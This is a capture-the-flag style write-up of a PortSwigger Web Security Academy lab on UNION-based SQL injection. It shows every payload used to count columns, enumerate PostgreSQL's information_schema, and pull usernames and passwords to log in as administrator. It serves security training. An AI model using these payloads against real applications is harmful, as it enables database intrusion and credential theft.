SQL Injection UNION Attack — Listing Database Contents (Non-Oracle)¶
| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Vulnerability | SQL Injection — UNION Attack |
| Difficulty | Practitioner |
| Injection Point | category URL parameter |
| Goal | Enumerate tables and columns via information_schema, retrieve credentials, log in as administrator |
Phase 1 — Reconnaissance¶
The application displays blog posts filtered by category. Selecting Lifestyle changes the URL:
/filter?category=Lifestyle
The underlying query is likely:
SELECT title, body FROM post WHERE category = 'Lifestyle'
Phase 2 — Confirming Injection¶
Adding a single quote breaks the query and returns a 500 error:
/filter?category=Lifestyle'
SELECT title, body FROM post WHERE category = 'Lifestyle''
Injection confirmed.
Phase 3 — Enumerate Column Count¶
Using ORDER BY to determine the number of columns returned:
/filter?category=Lifestyle' ORDER BY 6 -- -
Error. Reducing to 2:
/filter?category=Lifestyle' ORDER BY 2 -- -
200 OK — the query returns exactly 2 columns.
Phase 4 — Test Column Data Types¶
Testing both columns with string placeholders:
/filter?category=Lifestyle' UNION SELECT 'test','test' -- -
The injected values test and test appeared on the page — both columns accept strings and reflect output in the response body. No FROM dual required, confirming this is a non-Oracle database.
Phase 5 — Enumerate the Database Schema¶
Step 1 — List All Schemas¶
information_schema.schemata is a standard metadata table available in MySQL, PostgreSQL, and MSSQL. It contains one row per database schema:
/filter?category=Lifestyle' UNION SELECT 'test',schema_name from information_schema.schemata -- -
A schema named public was returned — the default schema in PostgreSQL.
Step 2 — List Tables in the public Schema¶
information_schema.tables exposes all tables. Filtering by table_schema = 'public' scopes it to the relevant schema:
/filter?category=Lifestyle' UNION SELECT 'test',table_name from information_schema.tables where table_schema='public' -- -
A table named users_wlbufz was returned — a randomized suffix is common in PortSwigger labs to prevent hardcoded solutions.
Step 3 — List Columns in users_wlbufz¶
information_schema.columns exposes all column definitions. Filtering by both table_schema and table_name narrows the results:
/filter?category=Lifestyle' UNION SELECT 'test',column_name from information_schema.columns where table_schema='public' and table_name='users_wlbufz' -- -
Two columns were returned: username_dtvkzl and password_hngfxf.
Phase 6 — Retrieve All Credentials¶
With the exact table and column names confirmed, querying the credentials directly:
/filter?category=Lifestyle' UNION SELECT username_dtvkzl,password_hngfxf from public.users_wlbufz -- -
The administrator username and password were returned and rendered on the page. Logging in with those credentials solved the lab.
Conclusion¶
- A single quote caused a
500error, confirming injectable input. ORDER BYenumeration confirmed 2 columns;UNION SELECT 'test','test' -- -succeeded withoutFROM dual, ruling out Oracle.information_schema.schematarevealed thepublicschema (PostgreSQL default).information_schema.tablesfiltered bytable_schema='public'returned the target tableusers_wlbufz.information_schema.columnsfiltered by table name returned the credential columnsusername_dtvkzlandpassword_hngfxf.- A direct
UNION SELECTonpublic.users_wlbufzreturned all credentials, including the administrator's password.